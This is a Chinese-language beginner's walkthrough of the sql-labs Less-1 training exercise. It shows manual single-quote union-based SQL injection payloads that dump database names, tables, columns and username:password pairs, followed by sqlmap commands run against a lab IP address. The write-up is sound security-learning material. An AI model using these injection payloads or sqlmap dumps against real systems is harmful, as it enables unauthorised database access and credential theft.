sql-labs萌新通关笔记(更新中)

写在前面

--空格在sql内表示注释,但是在URL中如果在最后加上--空格,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们可以用--+或者--#代替--空格,原因是+和#在被URL编码后会变成空格

SQLIDUMB SERIES-1

手工测试

测试语句

  • and 1=1
  • and 1=2

and 1=2回显正常,所以这个地方不是数值查询

1-3

尝试在id后加上'发现回显不正常,可能存在sql字符注入

2-3

输入--#将sql后面的语句注释掉,发现页面回显正常,证明这个地方是单引号字符型注入

3-3

接下来使用order by 语句判断表中存在的的数据列数

order by 3显示页面正常

4-3

order by 4页面显示不正常

5-3

说明这个表有3列

id=1改为一个数据库不存在的id值,如996,使用union select 1,2,3联合查询语句查看你页面是否有显示位,结尾要是--+--#会报错,我也不懂为什么,留着以后解决

6-3

发现显示位输出了2和3,说明页面有两个显示位

然后利用sql查询语句依次爆出数据库内的数据库名,表名,列名和字段信息

http://119.23.243.154:4500/Less-1/?id=996' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

这是查询数据库名字信息的语句

7-3

查询security内所有表名

http://119.23.243.154:4500/Less-1/?id=996' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

8-2

爆破列名

http://119.23.243.154:4500/Less-1/?id=996' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

9-2

查询用户名和密码

http://119.23.243.154:4500/Less-1/?id=996' union select 1,group_concat(username,0x3a,password),3 from users--+

10

sqlmap测试(Windows平台)

注入点扫描

sqlmap.py -u "http://119.23.243.154:4500/Less-1/?id=1"

11-1

sqlmap.py -u "http://119.23.243.154:4500/Less-1/?id=1" --dbs

12-1

猜解security这个库里的表

sqlmap.py -u "http://119.23.243.154:4500/Less-1/?id=1" --tables -D security

13-1

猜解user内字段

sqlmap.py -u "http://119.23.243.154:4500/Less-1/?id=1" --columns -T users -D security

14-1

获得字段id,password,username

猜解字段内容

sqlmap.py -u "http://119.23.243.154:4500/Less-1/?id=1" --dump -T users -D security

15-1

大功告成

待续